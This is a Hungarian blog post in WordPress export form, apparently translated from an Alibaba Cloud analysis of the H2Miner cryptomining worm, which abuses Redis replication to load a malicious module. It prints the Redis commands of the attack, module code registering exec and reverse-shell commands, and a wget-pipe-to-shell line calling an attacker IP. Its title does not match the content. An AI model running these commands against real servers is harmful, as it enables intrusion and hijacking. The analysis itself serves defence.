{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"A Microsoft ingyenes friss\u00edt\u00e9st ad ki a Windows 7-hez, annak ellen\u00e9re, hogy megsz\u0171nt a t\u00e1mogat\u00e1sa.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Egy nappal ezel\u0151tt a projektem egyik szerver\u00e9t megt\u00e1madta egy hasonl\u00f3 f\u00e9reg. A \"mi volt ez?\" k\u00e9rd\u00e9sre keresve egy csod\u00e1latos cikket tal\u00e1ltam az Alibaba Cloud Security csapat\u00e1t\u00f3l. Mivel ezt a cikket nem tal\u00e1ltam a Habr-on, \u00fagy d\u00f6nt\u00f6ttem, hogy kifejezetten nektek leford\u00edtom <3\n<\/p><\/blockquote>\n

Bevezet\u00e9s<\/h2>\n

\nNemr\u00e9g az Alibaba Cloud biztons\u00e1gi csapata hirtelen H2Miner kit\u00f6r\u00e9st \u00e9szlelt. Ez a fajta k\u00e1rt\u00e9kony f\u00e9reg a Redis hiteles\u00edtetlens\u00e9g\u00e9t vagy gyenge jelszavait haszn\u00e1lja \u00e1tj\u00e1r\u00f3k\u00e9nt a rendszereidhez, majd a master-slave szinkroniz\u00e1l\u00e1s r\u00e9v\u00e9n szinkroniz\u00e1lja saj\u00e1t k\u00e1rt\u00e9kony modulj\u00e1t a slave-el, v\u00e9g\u00fcl ezt a k\u00e1rt\u00e9kony modult let\u00f6lti a megt\u00e1madott g\u00e9pre, \u00e9s v\u00e9grehajtja a k\u00e1ros utas\u00edt\u00e1sokat.<\/p>\n

A m\u00faltban a rendszereid ellen ir\u00e1nyul\u00f3 t\u00e1mad\u00e1sok jellemz\u0151en olyan m\u00f3dszerspecifik\u00e1ci\u00f3val zajlottak, amely \u00fctemezett feladatokat vagy SSH kulcsokat ig\u00e9nyelt, amiket a rosszindulat\u00fa felhaszn\u00e1l\u00f3k bejelentkez\u00e9se ut\u00e1n r\u00f6gz\u00edtettek a g\u00e9peden a Redis-en. Szerencs\u00e9re ezt a m\u00f3dszert ritk\u00e1n tudj\u00e1k haszn\u00e1lni a jogosults\u00e1gkezel\u00e9si probl\u00e9m\u00e1k vagy a k\u00fcl\u00f6nb\u00f6z\u0151 rendszerverzi\u00f3k miatt. Azonban ez a k\u00e1rt\u00e9kony modul let\u00f6lt\u00e9si m\u00f3dszer k\u00f6zvetlen\u00fcl v\u00e9grehajthatja a t\u00e1mad\u00f3 parancsait vagy hozz\u00e1f\u00e9rhet a shellhez, ami vesz\u00e9lyt jelent a rendszered sz\u00e1m\u00e1ra.<\/p>\n

A nagy sz\u00e1m\u00fa szerverek<\/a> interneten el\u00e9rhet\u0151 Redis (majdnem 1 milli\u00f3) miatt az Alibaba Cloud biztons\u00e1gi csapata, mint bar\u00e1ti eml\u00e9keztet\u0151t, azt javasolja a felhaszn\u00e1l\u00f3knak, hogy ne biztos\u00edtsanak hozz\u00e1f\u00e9r\u00e9st a Redis-hez a h\u00e1l\u00f3zaton kereszt\u00fcl, \u00e9s rendszeresen ellen\u0151rizz\u00e9k a jelszavaik megb\u00edzhat\u00f3s\u00e1g\u00e1t, valamint hogy ne legyenek k\u00f6nnyen kital\u00e1lhat\u00f3ak.<\/p>\n

H2Miner<\/h2>\n

\nA H2Miner egy Linux alap\u00fa b\u00e1ny\u00e1sz\u00f3 botnet, amely t\u00f6bbf\u00e9lek\u00e9ppen is behatolhat a rendszeredbe, bele\u00e9rtve a Hadoop yarn nem hiteles\u00edt\u00e9s\u00e9t, a Docker-t, \u00e9s a Redis t\u00e1voli parancs v\u00e9grehajt\u00e1si (RCE) sebezhet\u0151s\u00e9g\u00e9t. A botnet \u00fagy m\u0171k\u00f6dik, hogy k\u00e1rt\u00e9kony szkripteket \u00e9s k\u00e1rt\u00e9kony programokat t\u00f6lt le az adataid b\u00e1ny\u00e1szat\u00e1hoz, a t\u00e1mad\u00e1s v\u00edzszintes terjeszt\u00e9s\u00e9re, \u00e9s a parancs-kontroll (C&C) kapcsolat fenntart\u00e1s\u00e1ra.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nEzt a t\u00e9m\u00e1t Pavel Toporkov osztotta meg a ZeroNights 2018-on. A 4.0-s verzi\u00f3 ut\u00e1n a Redis t\u00e1mogatja a k\u00fcls\u0151 modulok bet\u00f6lt\u00e9si funkci\u00f3j\u00e1t, amely lehet\u0151v\u00e9 teszi a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra, hogy so f\u00e1jlokat t\u00f6ltsenek be a Redis-be, amelyeket C nyelven ford\u00edtottak le bizonyos Redis parancsok v\u00e9grehajt\u00e1s\u00e1ra. Ez a funkci\u00f3 hasznos, de tartalmaz egy s\u00e9r\u00fcl\u00e9kenys\u00e9get, amely lehet\u0151v\u00e9 teszi, hogy master-slave m\u00f3dban a f\u00e1jlok a slave szerverre szinkroniz\u00e1l\u00f3djanak fullresync m\u00f3dban. Ezt a t\u00e1mad\u00f3k felhaszn\u00e1lhatj\u00e1k arra, hogy k\u00e1rt\u00e9kony so f\u00e1jlokat tov\u00e1bb\u00edtsanak. A f\u00e1jlok tov\u00e1bb\u00edt\u00e1sa ut\u00e1n a t\u00e1mad\u00f3k bet\u00f6ltik a modult a megt\u00e1madott Redis p\u00e9ld\u00e1nyra, \u00e9s b\u00e1rmilyen parancsot v\u00e9grehajtanak.<\/p>\n

K\u00e1rt\u00e9kony f\u00e9reg elemz\u00e9se<\/h2>\n

\nNemr\u00e9g az Alibaba Cloud biztons\u00e1gi csapata felfedezte, hogy a H2Miner k\u00e1rt\u00e9kony b\u00e1ny\u00e1szok csoportj\u00e1nak m\u00e9rete hirtelen megn\u0151tt. Az elemz\u00e9s szerint a t\u00e1mad\u00e1s l\u00e9trej\u00f6tt\u00e9nek folyamata a k\u00f6vetkez\u0151k\u00e9ppen alakul:<\/p>\n

\"A
\n
\nA H2Miner RCE Redist haszn\u00e1l a teljes k\u00f6r\u0171 t\u00e1mad\u00e1shoz. El\u0151sz\u00f6r a t\u00e1mad\u00f3k a v\u00e9dtelen Redis szervereket vagy a gyenge jelszavakkal rendelkez\u0151 szervereket t\u00e1madj\u00e1k.<\/p>\n

Ezut\u00e1n haszn\u00e1lj\u00e1k a parancsot config set dbfilename red2.so<\/code> a f\u00e1jlnev\u00e9nek megv\u00e1ltoztat\u00e1s\u00e1hoz. Ezt k\u00f6vet\u0151en a t\u00e1mad\u00f3k v\u00e9grehajtj\u00e1k a parancsot slaveof<\/code> a master-slave replik\u00e1ci\u00f3s c\u00edm\u00e9nek be\u00e1ll\u00edt\u00e1s\u00e1hoz. <\/p>\n

Amikor a megt\u00e1madott Redis p\u00e9ld\u00e1ny l\u00e9trehoz egy master-slave kapcsolatot a t\u00e1mad\u00f3k \u00e1ltal birtokolt k\u00e1rt\u00e9kony Redis-szel, a t\u00e1mad\u00f3 a fullresync parancs seg\u00edts\u00e9g\u00e9vel elk\u00fcldi a fert\u0151z\u00f6tt modult a f\u00e1jlok szinkroniz\u00e1l\u00e1s\u00e1ra. Ezt k\u00f6vet\u0151en a red2.so f\u00e1jl a megt\u00e1madott g\u00e9pre ker\u00fcl. Ezt k\u00f6vet\u0151en a t\u00e1mad\u00f3k a .\\\/red2.so bet\u00f6lt\u0151 modul seg\u00edts\u00e9g\u00e9vel bet\u00f6ltik ezt a so f\u00e1jlt. A modul v\u00e9grehajthatja a t\u00e1mad\u00f3k parancsait, vagy visszacsatol\u00f3 kapcsolatot (h\u00e1ts\u00f3 ajt\u00f3t) ind\u00edthat, hogy hozz\u00e1f\u00e9r\u00e9st nyerjen a megt\u00e1madott g\u00e9phez.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nA k\u00e1rt\u00e9kony parancs, p\u00e9ld\u00e1ul \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, ut\u00e1n a t\u00e1mad\u00f3 t\u00f6rli a biztons\u00e1gi m\u00e1solat f\u00e1jl nev\u00e9t, \u00e9s kil\u00e9pteti a rendszer modult, hogy elt\u00fcntesse a nyomokat. Mindazon\u00e1ltal a red2.so f\u00e1jl tov\u00e1bbra is a megt\u00e1madott g\u00e9pen marad. A felhaszn\u00e1l\u00f3k figyeljenek a gyan\u00fas f\u00e1jlokra a Redis p\u00e9ld\u00e1nyuk mapp\u00e1j\u00e1ban.<\/p>\n
A k\u00e1rt\u00e9kony programok er\u0151forr\u00e1sok eltulajdon\u00edt\u00e1sa mellett a t\u00e1mad\u00f3 k\u00e1rt\u00e9kony szkriptet hajtott v\u00e9gre, amely k\u00e1rt\u00e9kony f\u00e1jlokat t\u00f6lt\u00f6tt le \u00e9s futtatott bin\u00e1ris form\u00e1ban, hogy 142.44.191.122\/kinsing<\/a><\/noindex>. Ez azt jelenti, hogy a folyamat neve vagy a kisk\u00f6nyvt\u00e1r neve, amely tartalmazza a kinsing-et a gazdag\u00e9pen, arra utalhat, hogy ez a g\u00e9p megfert\u0151z\u0151d\u00f6tt ezzel a v\u00edrussal.<\/p>\n
A ford\u00edtott tervez\u00e9s eredm\u00e9nyei szerint a k\u00e1rt\u00e9kony program f\u0151k\u00e9nt az al\u00e1bbi funkci\u00f3kat hajtja v\u00e9gre:<\/p>\n